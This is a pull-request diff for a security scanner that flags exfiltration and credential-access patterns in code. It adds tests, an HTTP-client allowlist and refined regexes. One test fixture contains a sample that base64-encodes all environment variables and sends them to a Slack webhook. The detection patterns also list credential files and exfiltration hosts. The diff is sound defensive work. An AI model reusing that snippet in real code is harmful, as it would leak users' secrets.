Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion scanner/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,8 @@
"build": "tsc",
"start": "node dist/index.js",
"dev": "tsx watch src/index.ts",
"scan": "tsx src/cli.ts"
"scan": "tsx src/cli.ts",
"test": "tsx --test src/**/*.test.ts"
},
"keywords": ["isnad", "scanner", "security", "ai", "agents"],
"license": "MIT",
Expand Down
59 changes: 59 additions & 0 deletions scanner/src/analyzer.http-clients.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import { analyzeContent } from './analyzer.js';

function patternIds(content: string): string[] {
return analyzeContent(content).findings.map(finding => finding.patternId);
}

test('does not flag safe-domain dynamic fetch usage as exfiltration', () => {
const content = `
const apiBase = "https://api.github.com";
const url = \`\${apiBase}/repos/octocat/Hello-World\`;
await fetch(url, { method: "GET" });
`;

const ids = patternIds(content);
assert.equal(ids.includes('EXFIL_FETCH_DYNAMIC'), false);
});

test('does not flag standard axios and node-fetch clients as exfiltration', () => {
const content = `
import axios from "axios";
import fetch from "node-fetch";

const client = axios.create({ baseURL: "https://api.openai.com" });
await client.get("/v1/models");

const healthUrl = "https://pypi.org/simple";
await fetch(healthUrl);
`;

const ids = patternIds(content);
assert.equal(ids.includes('EXFIL_FETCH_DYNAMIC'), false);
assert.equal(ids.includes('EXFIL_WEBHOOK'), false);
});

test('does not treat process.env usage as sensitive file access', () => {
const content = `
const apiBase = process.env.API_BASE_URL;
const timeout = process.env.REQUEST_TIMEOUT ?? "5000";
`;

const ids = patternIds(content);
assert.equal(ids.includes('CRED_FILE_READ'), false);
assert.equal(ids.includes('CRED_ENV_ACCESS'), true);
});

test('still flags obfuscated credential exfiltration attempts', () => {
const content = `
const payload = Buffer.from(JSON.stringify(process.env)).toString("base64");
await fetch(\`https://hooks.slack.com/services/\${payload}\`);
`;

const result = analyzeContent(content);
const ids = result.findings.map(finding => finding.patternId);
assert.equal(ids.includes('EXFIL_WEBHOOK'), true);
assert.equal(ids.includes('EXFIL_BASE64_SEND'), true);
assert.equal(result.riskLevel === 'high' || result.riskLevel === 'critical', true);
});
52 changes: 49 additions & 3 deletions scanner/src/analyzer.ts
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,54 @@ const RISK_THRESHOLDS = {
low: 10
};

const HTTP_CLIENT_HINT = /\b(axios|node-fetch|fetch|requests\.(get|post|put|patch|delete|request)|urllib3\.)/i;
const SUSPICIOUS_HTTP_HINT =
/(process\.env|document\.cookie|localStorage|sessionStorage|webhook|hooks\.slack\.com|discord\.com\/api\/webhooks|requestbin|pipedream|ngrok\.io|btoa\s*\(|toString\s*\(\s*['"`]base64)/i;
const API_PATH_HINT = /\/(api|v\d+|health|status|repos|users|simple|graphql)\b/i;

function inAllowlistedContext(
pattern: Pattern,
lines: string[],
lineNumber: number,
contextLine: string
): boolean {
const basicAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern => {
const flags = allowPattern.flags.replaceAll('g', '');
return new RegExp(allowPattern.source, flags).test(contextLine);
});

if (basicAllowlisted) {
return true;
}

if (pattern.id === 'EXFIL_FETCH_DYNAMIC') {
return isLikelyLegitimateHttpClientUsage(lines, lineNumber);
}

return false;
}

function isLikelyLegitimateHttpClientUsage(lines: string[], lineNumber: number): boolean {
const start = Math.max(0, lineNumber - 3);
const end = Math.min(lines.length, lineNumber + 2);
const contextWindow = lines.slice(start, end).join('\n');

if (!HTTP_CLIENT_HINT.test(contextWindow)) {
return false;
}

if (SUSPICIOUS_HTTP_HINT.test(contextWindow)) {
return false;
}

const hasSafeDomain = SAFE_DOMAINS.some(domain =>
contextWindow.toLowerCase().includes(domain.toLowerCase())
);
const hasApiPathHint = API_PATH_HINT.test(contextWindow);

return hasSafeDomain || hasApiPathHint;
}

/**
* Analyze content for security issues
*/
Expand All @@ -72,9 +120,7 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis
const contextLine = lines[lineNumber - 1] || '';

// Check if this is in an allowlisted context
const isAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern =>
allowPattern.test(contextLine)
);
const isAllowlisted = inAllowlistedContext(pattern, lines, lineNumber, contextLine);

if (!isAllowlisted) {
findings.push({
Expand Down
7 changes: 3 additions & 4 deletions scanner/src/patterns.ts
Original file line number Diff line number Diff line change
Expand Up @@ -86,7 +86,7 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
name: 'Sensitive File Read',
description: 'Reading potentially sensitive files',
severity: 'high',
pattern: /(\.env|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)/gi,
pattern: /(?:^|[\\/\s'"`])(?:\.env(?:\.[\w.-]+)?|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)(?:$|[\\/\s'"`])/gi,
category: 'credential_access'
},
{
Expand Down Expand Up @@ -192,9 +192,8 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
*/
export const ALLOWLIST_PATTERNS = [
// Common legitimate uses
/console\.(log|error|warn|info)/gi,
/JSON\.(parse|stringify)/gi,
/Math\.(random|floor|ceil)/gi,
/console\.(log|error|warn|info)/i,
/Math\.(random|floor|ceil)/i,
];

/**
Expand Down